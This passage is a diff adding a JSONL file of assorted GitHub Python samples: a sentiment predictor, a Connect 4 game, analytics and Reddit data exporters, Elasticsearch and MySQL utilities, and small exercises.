diff --git "a/1949.jsonl" "b/1949.jsonl"
new file mode 100644--- /dev/null
+++ "b/1949.jsonl"
@@ -0,0 +1,847 @@
+{"seq_id":"36987711099","text":"import pickle\n\nmodel = None\nwith open(\"files\\\\saved_model\\\\rf_model_balanced.pickle\", 'rb') as file:\n model = pickle.load(file)\n\nreviews = [\n '''\n I had a couple of meetings in the nearby area and hence chosen this hotel. Rooms are below average. No amenities present. TV seemed to be from stone age. The moment I stepped in, I started searching for another hotel in the same locality. Some of the staffs lack basic manners. The only plus point is that this hotel is in Brigade road; a shoppers street. So I was able to stay out than stay in the hotel.\n '''\n]\n\nimport pandas as pd\n\ndoc2vec_model = None\ntfidf = None\nwith open(\"files\\\\saved_model\\\\doc2vec_model.pickle\", 'rb') as file:\n doc2vec_model = pickle.load(file)\nwith open(\"files\\\\saved_model\\\\tfidf.pickle\", 'rb') as file:\n tfidf = pickle.load(file)\n# with open(\"files\\\\saved_model\\\\tfidf_result.pickle\", 'rb') as file:\n# tfidf_result = pickle.load(file)\n\n\n# read data\nreviews_df = pd.DataFrame(reviews, columns=['review'])\n\n\n# Clean the data\n# return the wordnet object value corresponding to the POS tag\nfrom nltk.corpus import wordnet\n\n\ndef get_wordnet_pos(pos_tag):\n if pos_tag.startswith('J'):\n return wordnet.ADJ\n elif pos_tag.startswith('V'):\n return wordnet.VERB\n elif pos_tag.startswith('N'):\n return wordnet.NOUN\n elif pos_tag.startswith('R'):\n return wordnet.ADV\n else:\n return wordnet.NOUN\n\n\nimport string\nfrom nltk import pos_tag\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import WhitespaceTokenizer\nfrom nltk.stem import WordNetLemmatizer\n\ndef clean_text(text):\n # lower text\n text = text.lower()\n # tokenize text and remove puncutation\n text = [word.strip(string.punctuation) for word in text.split(\" \")]\n # remove words that contain numbers\n text = [word for word in text if not any(c.isdigit() for c in word)]\n # remove stop words\n stop = stopwords.words('english')\n text = [x for x in text if x not in stop]\n # remove empty tokens\n text = [t for t in text if len(t) > 0]\n # pos tag text\n pos_tags = pos_tag(text)\n # lemmatize text\n text = [WordNetLemmatizer().lemmatize(t[0], get_wordnet_pos(t[1])) for t in pos_tags]\n # remove words with only one letter\n text = [t for t in text if len(t) > 1]\n # join all\n text = \" \".join(text)\n return (text)\n\n\n# clean text data\nreviews_df[\"review_clean\"] = reviews_df[\"review\"].apply(lambda x: clean_text(x))\n\n\ndoc2vec_df = reviews_df[\"review_clean\"].apply(lambda x: doc2vec_model.infer_vector(x.split(\" \"))).apply(pd.Series)\ndoc2vec_df.columns = [\"doc2vec_vector_\" + str(x) for x in doc2vec_df.columns]\nreviews_df = pd.concat([reviews_df, doc2vec_df], axis=1)\n\ntfidf_result = tfidf.transform(reviews_df[\"review_clean\"]).toarray()\ntfidf_df = pd.DataFrame(tfidf_result, columns = tfidf.get_feature_names())\ntfidf_df.columns = [\"word_\" + str(x) for x in tfidf_df.columns]\ntfidf_df.index = reviews_df.index\nreviews_df = pd.concat([reviews_df, tfidf_df], axis=1)\n\nignore_cols = ['review', 'is_bad_review', 'review_clean', 'neg', 'neu', 'pos', 'compound', 'nb_chars', 'nb_words']\nfeatures = [c for c in reviews_df.columns if c not in ignore_cols]\n\n# df = reviews_df[features]\n# df.to_csv(\"files\\\\temp.csv\")\n# exit()\nprint(model.predict(reviews_df[features]))\ncategory = \"Positive\" if model.predict(reviews_df[features]) == 0 else \"Negative\"\nprint(category)\n","repo_name":"chirag2796/Machine-Learning","sub_path":"Projects/Hotel-Reviews-Ideathon/predict_sentiment.py","file_name":"predict_sentiment.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"53"}
+{"seq_id":"34198748688","text":"import numpy as np\nimport pygame\nimport sys\nimport math\n\n# global variable in CAPS\nROW_COUNT = 6\nCOLUMNS = 7\n\n# colours as global variables for easy readability\nBLUE = (0, 0, 255)\nRED = (255, 0, 0)\nBLACK = (0, 0, 0)\nYELLOW = (255, 255, 0)\n\n# the size of each square and circle\nSQUARE_SIZE = 100\nRADIUS = int(SQUARE_SIZE / 2 - 5)\n\n# create a matrix of 0's for the board of the game\ndef create_board():\n board = np.zeros((ROW_COUNT, COLUMNS))\n return board\n\n\n# give the row, column, and piece. Set the value in the index board[row][column] == piece\ndef drop_piece(board, row, col, piece):\n board[row][col] = piece\n\n\n# check if there is an empty index in the column\ndef is_valid_location(board, col):\n return board[ROW_COUNT - 1][col] == 0\n\n\n# starting from index 0, return the first index with value 0\ndef get_next_open_row(board, col):\n for r in range(ROW_COUNT):\n if board[r][col] == 0:\n return r\n\n\n# print the board, but flipped\ndef print_board(board):\n print(np.flip(board, 0))\n\n\n# pass in the board and the piece to check\ndef winning_move(board, piece):\n # check for horizontal winning scenario\n for c in range(COLUMNS - 3):\n for r in range(ROW_COUNT):\n if board[r][c] == piece and board[r][c + 1] == piece and board[r][c + 2] == piece and board[r][\n c + 3] == piece:\n return True\n\n # check for vertical winning scenario\n for r in range(ROW_COUNT - 3):\n for c in range(COLUMNS):\n if board[r][c] == piece and board[r + 1][c] == piece and board[r + 2][c] == piece and board[r + 3][\n c] == piece:\n return True\n\n # check for positive slope diagonal winning scenario\n for r in range(ROW_COUNT - 3):\n for c in range(COLUMNS - 3):\n if board[r][c] == piece and board[r + 1][c + 1] == piece and board[r + 2][c + 2] == piece and board[r + 3][\n c + 3] == piece:\n return True\n # check for negative slope diagonal winning scenario\n for c in range(COLUMNS - 3):\n # for r in range(ROW_COUNT starting from index 3)\n for r in range(3, ROW_COUNT):\n if board[r][c] == piece and board[r - 1][c + 1] == piece and board[r - 2][c + 2] == piece and board[r - 3][\n c + 3] == piece:\n return True\n\n\n# draw a board using pygame.draw\ndef draw_board(board):\n # for all index's in matrix, draw a blue rectangle and a black circle\n for c in range(COLUMNS):\n for r in range(ROW_COUNT):\n pygame.draw.rect(screen, BLUE, (c * SQUARE_SIZE, r * SQUARE_SIZE + SQUARE_SIZE, SQUARE_SIZE, SQUARE_SIZE))\n pygame.draw.circle(screen, BLACK, (int(c * SQUARE_SIZE + SQUARE_SIZE / 2), int(r * SQUARE_SIZE + SQUARE_SIZE + SQUARE_SIZE / 2)), RADIUS)\n\n # for all index's in matrix, if the index is equal to 1 or 2, draw a red or yellow circle respectively\n for c in range(COLUMNS):\n for r in range(ROW_COUNT):\n if board[r][c] == 1:\n pygame.draw.circle(screen, RED, (int(c * SQUARE_SIZE + SQUARE_SIZE / 2), height - int(r * SQUARE_SIZE + SQUARE_SIZE / 2)), RADIUS)\n elif board[r][c] == 2:\n pygame.draw.circle(screen, YELLOW, (int(c * SQUARE_SIZE + SQUARE_SIZE / 2), height - int(r * SQUARE_SIZE + SQUARE_SIZE / 2)), RADIUS)\n pygame.display.update()\n\n\nboard = create_board()\nprint_board(board)\n\n# initialize pygame and configure window\npygame.init()\npygame.display.set_caption(\"Connect 4\")\nwidth = COLUMNS * SQUARE_SIZE\nheight = (ROW_COUNT + 1) * SQUARE_SIZE\nsize = (width, height)\nscreen = pygame.display.set_mode(size)\ndraw_board(board)\npygame.display.update()\n\n# set font using pygame.font\nmy_font = pygame.font.SysFont(\"monospace\", 75)\n\ngame_over = False\nturn = 0\n\n# game loop\nwhile not game_over:\n\n # pygame listens to events\n for event in pygame.event.get():\n # if the x button is pressed, quit\n if event.type == pygame.QUIT:\n sys.exit()\n\n # detecting mouse motion\n if event.type == pygame.MOUSEMOTION:\n # draw black rectangle to cover the circles\n pygame.draw.rect(screen, BLACK, (0, 0, width, SQUARE_SIZE))\n # pos_x, or x co-ordinate, equals index 0 of event.pos\n pos_x = event.pos[0]\n # when the turn equals zero, draw a red circle, else, draw a yellow circle\n if turn == 0:\n pygame.draw.circle(screen, RED, (pos_x, int(SQUARE_SIZE / 2)), RADIUS)\n else:\n pygame.draw.circle(screen, YELLOW, (pos_x, int(SQUARE_SIZE / 2)), RADIUS)\n pygame.display.update()\n\n # detecting mouse press\n if event.type == pygame.MOUSEBUTTONDOWN:\n pygame.draw.rect(screen, BLACK, (0, 0, width, SQUARE_SIZE))\n # Ask for Player 1 Input\n if turn == 0:\n\n pos_x = event.pos[0]\n col = int(math.floor(pos_x / SQUARE_SIZE))\n\n if is_valid_location(board, col):\n row = get_next_open_row(board, col)\n drop_piece(board, row, col, 1)\n\n if winning_move(board, 1):\n label = my_font.render(\"PLAYER 1 WINS!!\", True, RED)\n # print label at co-ordinates\n screen.blit(label, (40, 10))\n game_over = True\n\n # Ask for Player 2 Input\n else:\n pos_x = event.pos[0]\n col = int(math.floor(pos_x / SQUARE_SIZE))\n\n if is_valid_location(board, col):\n row = get_next_open_row(board, col)\n drop_piece(board, row, col, 2)\n\n if winning_move(board, 2):\n label = my_font.render(\"PLAYER 2 WINS!!\", True, RED)\n screen.blit(label, (40, 10))\n game_over = True\n\n print_board(board)\n draw_board(board)\n # add one to turn, then modulo to get back to 1, or 0\n turn += 1\n turn = turn % 2\n\n if game_over:\n pygame.time.wait(3000)\n","repo_name":"whelephant/pythonCollection","sub_path":"connect4.py","file_name":"connect4.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74466231846","text":"import os\nimport datetime\nimport argparse\nimport os\nimport time\nfrom apiclient.discovery import build\nimport httplib2\nfrom oauth2client import client\nfrom oauth2client import file\nfrom oauth2client import tools\n\nos.chdir(os.path.dirname(os.path.realpath(__file__)))\n\nSCOPES = ['https://www.googleapis.com/auth/analytics.readonly']\nDISCOVERY_URI = ('https://analyticsreporting.googleapis.com/$discovery/rest')\nCLIENT_SECRETS_PATH = './client_secrets.json' # Path to client_secrets.json file.\n\nglobal appname\nglobal analytics\n\ndef initialize_analyticsreporting():\n \"\"\"Initializes the analyticsreporting service object.\n\n Returns:\n analytics an authorized analyticsreporting service object.\n \"\"\"\n # Parse command-line arguments.\n parser = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n parents=[tools.argparser])\n flags = parser.parse_args([])\n\n # Set up a Flow object to be used if we need to authenticate.\n flow = client.flow_from_clientsecrets(\n CLIENT_SECRETS_PATH, scope=SCOPES,\n message=tools.message_if_missing(CLIENT_SECRETS_PATH))\n\n # Prepare credentials, and authorize HTTP object with them.\n # If the credentials don't exist or are invalid run through the native client\n # flow. The Storage object will ensure that if successful the good\n # credentials will get written back to a file.\n storage = file.Storage('./analyticsreporting.dat')\n credentials = storage.get()\n if credentials is None or credentials.invalid:\n credentials = tools.run_flow(flow, storage, flags)\n http = credentials.authorize(http=httplib2.Http())\n analytics = build('analytics', 'v4', http=http, discoveryServiceUrl=DISCOVERY_URI)\n return analytics\n\n\ndef get_report(analytics):\n # Use the Analytics Service Object to query the Analytics Reporting API V4.\n return analytics.reports().batchGet(\n body={\n 'reportRequests': [\n { 'filtersExpression': 'ga:sessions>0',\n 'pageSize': 10000,\n 'viewId': VIEW_ID,\n 'dateRanges': [{'startDate': 'yesterday', 'endDate': 'yesterday'}],\n 'dimensions': [{'name':'ga:pagePathLevel1'},{'name':'ga:date'}],\n 'metrics': [{'expression': 'ga:sessions'}]\n }]\n }\n ).execute()\ndef get_report_iteration(analytics,nextPageToken):\n # Use the Analytics Service Object to query the Analytics Reporting API V4.\n return analytics.reports().batchGet(\n body={\n 'reportRequests': [\n { 'filtersExpression': 'ga:sessions>0',\n 'pageToken':nextPageToken,\n 'pageSize': 10000,\n 'viewId': VIEW_ID,\n 'dateRanges': [{'startDate': 'yesterday', 'endDate': 'yesterday'}],\n 'dimensions': [{'name':'ga:pagePathLevel1'},{'name':'ga:date'}],\n 'metrics': [{'expression': 'ga:sessions'}]\n }]\n }\n ).execute()\n\n\ndef print_response(response,appname):\n appname = appname.replace('/','_')\n \n file = open('./SaveExtract/'+appname+'.csv','w')\n file.write('PagePathLevel1;Date;Sessions\\n')\n print('processing '+appname+' . . . ')\n for report in response.get('reports',[]):\n columnHeader = report.get('columnHeader', {})\n dimensionHeaders = columnHeader.get('dimensions', [])\n metricHeaders = columnHeader.get('metricHeader', {}).get('metricHeaderEntries', [])\n rows = report.get('data', {}).get('rows', [])\n print(report.get('nextPageToken'))\n for row in rows:\n lst = []\n dimensions = row.get('dimensions', [])\n dateRangeValues = row.get('metrics', [])\n for header, dimension in zip(dimensionHeaders, dimensions):\n lst.append(dimension)\n\n for i, values in enumerate(dateRangeValues):\n for metricHeader, value in zip(metricHeaders, values.get('values')):\n lst.append(value)\n lst[1] = datetime.datetime.strptime(lst[1], '%Y%m%d').strftime('%Y-%m-%d 00:00:00')#lst[1]+' 00:00:00'\n file.write(';'.join(lst).encode('utf-8')+'\\n')\n while report.get('nextPageToken') is not None:\n try:\n analytics = initialize_analyticsreporting()\n response = get_report_iteration(analytics,report.get('nextPageToken'))\n for report in response.get('reports', []):\n\n\n columnHeader = report.get('columnHeader', {})\n dimensionHeaders = columnHeader.get('dimensions', [])\n metricHeaders = columnHeader.get('metricHeader', {}).get('metricHeaderEntries', [])\n rows = report.get('data', {}).get('rows', [])\n print('while',report.get('nextPageToken'))\n for row in rows:\n lst = []\n dimensions = row.get('dimensions', [])\n dateRangeValues = row.get('metrics', [])\n\n for header, dimension in zip(dimensionHeaders, dimensions):\n lst.append(dimension)\n\n for i, values in enumerate(dateRangeValues):\n for metricHeader, value in zip(metricHeaders, values.get('values')):\n lst.append(value)\n lst[1] = datetime.datetime.strptime(lst[1], '%Y%m%d').strftime('%Y-%m-%d 00:00:00')\n file.write(';'.join(lst).encode('utf-8')+'\\n')\n\n except:\n time.sleep(15)\n print(appname+' processed')\n file.close()\n\ndef main():\n analytics = initialize_analyticsreporting()\n response = get_report(analytics)\n print_response(response,appname)\n\nif __name__ == '__main__':\n #yesterday = datetime.datetime.now() - datetime.timedelta(days=1)\n\n #VIEW_ID = '122698944'\n print('cleaning old reports. . .')\n os.system('rm -rf ./SaveExtract/*')\n views_lst = []\n storage = file.Storage('/home/erowz/analytics_Script/analyticsreporting.dat')\n credentials = storage.get()\n if credentials is None or credentials.invalid:\n credentials = tools.run_flow(flow, storage, flags)\n http = credentials.authorize(http=httplib2.Http())\n analytics = build('analytics', 'v3', http=http)\n account_summaries = analytics.management().accountSummaries().list().execute()\n for item in account_summaries['items'][0]['webProperties']:\n #print item['name']\n\n if item['name'] == 'QA site-annonce.fr' or item['name'] == 'QA RealEstate-UK' or item['name'] == 'International Search' or item['name'] == 're.bcdotnet.com' or item['name']== 'erowz.com':\n continue\n else:\n #print item['name']\n\n for element in item['profiles']:\n views_lst.append([element['name'].encode('utf-8'),element['id']])\n for view in views_lst:\n\n VIEW_ID=view[1]\n appname=view[0]\n if appname == 'MobileApp':\n pass\n else:\n main() \n","repo_name":"heisen273/daily_analytics","sub_path":"daily_analytics.py","file_name":"daily_analytics.py","file_ext":"py","file_size_in_byte":6534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12894263466","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport random\nimport time\nimport elasticsearch\nfrom elasticsearch import Elasticsearch\nfrom conf.es_params_define import SAAS, CREATE_INDEX_DSL\nfrom utils.time_utils import TimeUtils\n\n\ndef conn_es():\n rand = random.randint(0, 2)\n url = SAAS[rand]\n _es = Elasticsearch(url)\n _es.cluster.health(wait_for_status='yellow', request_timeout=1)\n\n return Elasticsearch(url)\n\n\ndef get_index_name():\n time_utils = TimeUtils()\n index = time_utils.get_next_month_index()\n indexes = ['qc' + '_' + index, index]\n return indexes\n\n\nif __name__ == '__main__':\n es = conn_es()\n es_index = get_index_name()\n for index in es_index:\n try:\n res = es.indices.create(index=index, body=CREATE_INDEX_DSL)\n print('{}'.format(res))\n if res.get('acknowledged', False):\n print('create index {} success!'.format(index))\n except elasticsearch.exceptions.RequestError as e:\n print('create index {} failed! error : '.format(index, e.error))\n\n\n","repo_name":"gtouchgogo/qtalk_search","sub_path":"service/kafka2es/create_index.py","file_name":"create_index.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31958003006","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nAdvent of Code 2021 Day 02: Dive!\n\"\"\"\nimport os\n\n\ndef solve01(command_list):\n # part 01 -\n horizontal = 0\n depth = 0\n\n for (direction, unit) in command_list:\n if direction == 'forward':\n horizontal += unit\n elif direction == 'down':\n depth += unit\n elif direction == 'up':\n depth -= unit\n\n distance = horizontal * depth\n\n return distance\n\n\ndef solve02(command_list):\n # part 02 -\n aim = 0\n horizontal = 0\n depth = 0\n\n for (direction, unit) in command_list:\n if direction == 'forward':\n horizontal += unit\n depth += (aim * unit)\n elif direction == 'down':\n aim += unit\n elif direction == 'up':\n aim -= unit\n\n distance = horizontal * depth\n\n return distance\n\n\ndef load_data(filename):\n input_data_file = os.path.join(os.path.dirname(__file__), filename)\n\n with open(input_data_file, 'r') as filehandle:\n input_data = filehandle.read()\n\n # parse data\n command_list = []\n for command in input_data.splitlines():\n direction, unit = command.split(' ')\n command_list.append((direction, int(unit)))\n return command_list\n\n\nif __name__ == '__main__':\n input_data = load_data('input.txt')\n\n answer01 = solve01(input_data)\n print(f\"part01 - Final horizontal position * final depth = {answer01}\")\n\n answer02 = solve02(input_data)\n print(f\"part02 - Final horizontal position * final depth = {answer02}\")\n","repo_name":"grufghr/advent","sub_path":"advent2021/day02/puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41663902185","text":"import numpy as np\r\nimport os\r\nimport cv2\r\nimport torch\r\nfrom tqdm import tqdm\r\nimport preprocess\r\nimport network\r\nimport scipy.io as sio\r\n\r\n\r\ndef create_training_data(dataPath):\r\n\r\n keySet = ['n01615121', 'n02099601', 'n02123159', 'n02129604', 'n02317335', 'n02391049', 'n02410509', 'n02422699', 'n02481823', 'n02504458']\r\n # valueSet = ['eagle', 'dog', 'cat', 'tiger', 'star', 'zebra', 'bison', 'antelope', 'chimpanzee', 'elephant']\r\n valueSet = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n categoryDict = dict(zip(keySet, valueSet))\r\n\r\n training_data = []\r\n\r\n for category in keySet: # do dogs and cats\r\n path = os.path.join(dataPath, category)\r\n label = categoryDict[category]\r\n\r\n for img in tqdm(os.listdir(path)): # iterate over each image per dogs and cats\r\n try:\r\n img_array = cv2.imread(os.path.join(path, img), 1)\r\n new_array = preprocess.preprocess(img_array)\r\n training_data.append([new_array, label])\r\n except Exception as e:\r\n print(e)\r\n print(\"N'oluyor?\")\r\n\r\n return training_data\r\n\r\n\r\ndef train_network(dataPath, matPath, networkPath, epochSize, learningRate, hiddenSize, batchSize ):\r\n\r\n try:\r\n m_data = sio.loadmat(matPath)\r\n im_data = m_data['images']\r\n l_data = np.squeeze(m_data['labels'])\r\n except:\r\n print(\"\\nPreprocessing train data\\n\")\r\n training_data = create_training_data(dataPath)\r\n\r\n imgs = []\r\n lbs = []\r\n\r\n for featureVector, label in training_data:\r\n imgs.append(featureVector)\r\n lbs.append(label)\r\n\r\n im_data = np.squeeze(imgs).transpose()\r\n l_data = np.asarray(lbs)\r\n\r\n sio.savemat(matPath, {'images': im_data, 'labels': l_data})\r\n\r\n trainset = network.ProcessedDataset(im_data, l_data)\r\n\r\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=batchSize, shuffle=True, num_workers=0)\r\n\r\n net = network.Feedforward(hiddenSize)\r\n\r\n network.train(net, trainloader, networkPath, learningRate, epochSize)\r\n","repo_name":"zeynepnurozturk/CS484-Image-Analysis","sub_path":"trainNetwork.py","file_name":"trainNetwork.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15837150321","text":"#filename:ascii_tbl1.py\n#function: display the asciitable, but clear screen first \n#We use the stdin to read the integer for starting (2 digit)\n#use stdin to read the stoping (3 digit)\n#and then use the readline() to read the stdin buffer data\n\"\"\"If there was more than one character to be read at that point (e.g. the newline\nthat followed the two character that was read in)\nWe need use next read() or readline() to read characters that are still be in the buffer\nIt means progarm is waiting for the next read() or readline().\nso it is better to use another read() or readline() to read the data in the buffer\n\"\"\"\n\"\"\"\nand we use the starting and stoping to display the ascii code\nwe use the starting is 33, stoping is 127 for ascii code print\n\"\"\"\n\n#clear the screen \nimport os\nos.system('cls') # window system use this to celar screen\n#os.system('clear') #for Linux\nfrom sys import stdin\n\n\nstarting = stdin.read(2)\nstoping = stdin.read(3)\nlineinput = stdin.readline()\nprint (\"starting=\",starting)\nprint (\"stopping=\",stoping)\nprint (\"linedata=\",lineinput)\n\nfor val in range(int(starting), int(stoping)):\n if (int(starting) - val) % 10 == 0: # each line contains 10 ascii code\n print(\"\\n\")\n print(chr(val), end=' ')\n \n\n\n","repo_name":"Scott-S-Lin/Python_Programming_ChineseBook","sub_path":"ch5/ascii_tbl1.py","file_name":"ascii_tbl1.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"73589950887","text":"\n'''\n-----------------------------\nImports\n=============================\n'''\n\nimport pandas as pd\nimport numpy as np\nimport datetime as dt\n\nimport os\nimport praw\nimport logging\nimport json\nimport tempfile\n\n\nfrom google.cloud import storage\nfrom pathlib import Path\nfrom dotenv import load_dotenv\nfrom psaw import PushshiftAPI\n\n'''\n-----------------------------\nSetup\n=============================\n'''\n\nload_dotenv()\n\nlogger = logging.getLogger(__name__)\n\n# load variables\n# first try to get airflow variables and then default to os variables\ntry:\n from airflow.models import Variable\n reddit_client_id = Variable.get(\n 'REDDIT_CLIENT_ID', default_var=os.environ.get('REDDIT_CLIENT_ID'))\n reddit_client_secret = Variable.get(\n 'REDDIT_CLIENT_SECRET', default_var=os.environ.get('REDDIT_CLIENT_SECRET'))\n reddit_user_agent = Variable.get(\n 'REDDIT_USER_AGENT', default_var=os.environ.get('REDDIT_USER_AGENT'))\n google_storage_bucket_name = Variable.get(\n 'GOOGLE_STORAGE_BUCKET_NAME',\n default_var=os.environ.get('GOOGLE_STORAGE_BUCKET_NAME')\n )\nexcept:\n reddit_client_id = os.environ.get('REDDIT_CLIENT_ID')\n reddit_client_secret = os.environ.get('REDDIT_CLIENT_SECRET')\n reddit_user_agent = os.environ.get('REDDIT_USER_AGENT')\n google_storage_bucket_name = os.environ.get('GOOGLE_STORAGE_BUCKET_NAME')\n\n'''\n-----------------------------\nHelper Functions\n=============================\n'''\n\n\ndef get_subreddit_info(subreddit: str,\n date: dt.date = dt.date.today()\n ) -> dict:\n '''Gets a list of all submissions for a given subreddit and date.'''\n r = praw.Reddit(client_id=reddit_client_id,\n client_secret=reddit_client_secret,\n user_agent=reddit_user_agent)\n api = PushshiftAPI(r)\n\n end = dt.datetime.combine(dt.date.today(), dt.datetime.min.time())\n start = end - dt.timedelta(days=1)\n results = api.search_submissions(\n after=int(start.timestamp()),\n before=int(end.timestamp()),\n subreddit=subreddit,\n stickied=False,\n limit=500\n )\n\n # build json\n sub_info = {\n 'subreddit': subreddit,\n 'date': date.strftime('%Y-%m-%d'),\n 'submissions': [],\n }\n\n for entry in results:\n record = {\n 'id': entry.id,\n 'score': entry.score,\n 'title': entry.title,\n 'author': (entry.author.name if entry.author is not None else None),\n 'comment_count': entry.num_comments\n }\n sub_info['submissions'].append(record)\n sub_info['post_count'] = len(sub_info['submissions'])\n return sub_info\n\n\ndef deliver_subreddit_info(sub_summary: dict):\n blob_path = Path(\n 'subreddit_overview', \n sub_summary['subreddit'],\n sub_summary['date'] + '.json' \n ).as_posix()\n client = storage.Client()\n bucket = client.bucket(google_storage_bucket_name)\n json_temp = tempfile.TemporaryFile('r+')\n json.dump(sub_summary, json_temp)\n json_blob = bucket.blob(blob_path)\n json_temp.seek(0)\n json_blob.upload_from_file(json_temp)\n return blob_path\n\n'''\n-----------------------------\nDAG Functions\n=============================\n'''\n\n\ndef daily_summary_node(subreddit: str,\n date: dt.date = dt.date.today()\n ) -> str:\n sub_summary = get_subreddit_info(\n subreddit,\n date=date \n )\n summary_path = deliver_subreddit_info(sub_summary)\n return summary_path\n","repo_name":"ccastleberry/airflow-dags","sub_path":"services/reddit_scrape/dags/sub_overview_node.py","file_name":"sub_overview_node.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13836400949","text":"from datetime import timedelta\n\nimport torch\n\n\ndef load_checkpoints(checkpoint_name):\n \"\"\"\n Load a pretrained checkpoint.\n :param checkpoint_name: checkpoint filename\n :return: model.state_dict, source_vocabulary, target_vocabulary,\n \"\"\"\n\n # Get checkpoint from file\n checkpoint = torch.load(checkpoint_name, map_location=torch.device('cpu'))\n\n # The epoch when training has been left\n epoch = checkpoint['epoch']\n\n # The time elapsed during training\n time_elapsed = checkpoint['time_elapsed']\n\n # Get state_dict of the model\n model_state_dict = checkpoint['model_state_dict']\n\n # Get the state_dict of the optimizer\n optimizer_state_dict = checkpoint['optimizer_state_dict']\n\n # Get source language vocabulary\n src_vocabulary = checkpoint['src_vocabulary']\n tgt_vocabulary = checkpoint['tgt_vocabulary']\n\n return model_state_dict, optimizer_state_dict, epoch, time_elapsed, src_vocabulary, tgt_vocabulary\n\n\nif __name__ == \"__main__\":\n model_state_dict, optimizer_state_dict, epoch, time_elapsed, src_vocabulary, tgt_vocabulary = load_checkpoints('checkpoints/CHECKPOINT_WITHOUT_ATT__EN__TO__DE__EPOCH_3__AT__2021_12_26__16_35_07__TRAIN_LOSS__9.pt')\n print(type(src_vocabulary))","repo_name":"mhannani/zinvert","sub_path":"src/utils/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36362334627","text":"import json\nimport wsgi.common\nimport wsgi.log\nimport behave\n\n@given(u'a valid user uploads log information')\ndef step_impl(context):\n context.response = \"JSON does not conform to schema\"\n\n@then(u'the user receives a \"{text}\" message if the log does not conform to the schema')\ndef step_impl(context, text):\n response = context.flask_app.post(\"policy/log\",\n headers={\"Content-Type\": \"application/json\"},\n data=json.dumps(context.bad_log_documents))\n message = json.loads(json.loads(response.data))\n assert response.status_code == int(text) and message[\"error\"] == context.response\n\n@then(u'the user receives a \"201\" message and the result of the log upload')\ndef step_impl(context):\n response = context.flask_app.post(\"policy/log\",\n headers={\"Content-Type\": \"application/json\"},\n data=json.dumps(context.log_documents))\n assert json.loads(response.data) == context.log_documents\n","repo_name":"EUDAT-B2SAFE/B2SAFE-DPM","sub_path":"web/build/wsgi-test/features/steps/policy_logs.py","file_name":"policy_logs.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"35487175339","text":"import subprocess\n\nbht_path = \"/usr/local/bin/BigHonkingText\"\n\npid1 = subprocess.Popen([bht_path, \"-p0\", \"-h10%\", \"-y80%\", \"BHT UI Test\"])\npid2 = subprocess.Popen([bht_path, \"-p0\", \"-o0.9\", \"-y50%\", \"-fgreen\", \"Proceed\"])\npid3 = subprocess.Popen([bht_path, \"-p0\", \"-o0.9\", \"-y20%\", \"-fred\", \"Cancel\"])\n\nexit_condition = False\n\nwhile not exit_condition:\n\tprocess1 = pid1.poll()\n\tprocess2 = pid2.poll()\n\tprocess3 = pid3.poll()\n\n\tif process1 != None:\n\t\texit_statement = 'Title Bar'\n\t\tpid2.kill()\n\t\tpid3.kill()\n\t\texit_condition = True\n\tif process2 != None:\n\t\texit_statement = 'Proceed'\n\t\tpid1.kill()\n\t\tpid3.kill()\n\t\texit_condition = True\n\tif process3 != None:\n\t\texit_statement = 'Cancel'\n\t\tpid1.kill()\n\t\tpid2.kill()\n\t\texit_condition = True\n\nsubprocess.call([bht_path, \"-p2\", \"-o1\", \"-y45%\", \"-fyellow\", \"User selected \" + exit_statement])\n","repo_name":"univ-of-utah-marriott-library-apple/bht_ui_demo","sub_path":"BHT_UI_Demo.py","file_name":"BHT_UI_Demo.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72990622569","text":"\"\"\"Utiliites for importing edge, edge_meta, and node_meta into the KnowEnG\nMySQL datatbase.\n\nContains module functions::\n\n import_file(file_name, table, ld_cmd='', dup_cmd='', args=None)\n import_filemeta(version_dict, args=None)\n update_filemeta(version_dict, args=None)\n import_edge(edgefile, args=None)\n import_nodemeta(nmfile, args=None)\n import_pnode(filename, args=None)\n\n\"\"\"\n\nimport os\nimport csv\nimport subprocess\nfrom argparse import ArgumentParser\nimport config_utilities as cf\nimport mysql_utilities as mu\nimport redis_utilities as ru\n\ndef import_file(file_name, table, ld_cmd='', dup_cmd='', args=None):\n \"\"\"Imports the provided file into the KnowEnG MySQL database.\n\n Loads the data into a temporary table in MySQL. It then queries from the\n temporary table into the corresponding permanent table. If a duplication\n occurs during the query, it uses the provided behavior to handle. If no\n behavior is provided, it replaces into the table.\n\n Args:\n file_name (str): path to the file to be imported\n table (str): name of the permanent table to import to\n ld_cmd (str): optional additional command for loading data\n dup_cmd (str): command for handling duplicates\n args (Namespace): args as populated namespace or 'None' for defaults\n \"\"\"\n if args is None:\n args = cf.config_args()\n db = mu.get_database('KnowNet', args)\n print('Inserting data from ' + file_name +' into ' + 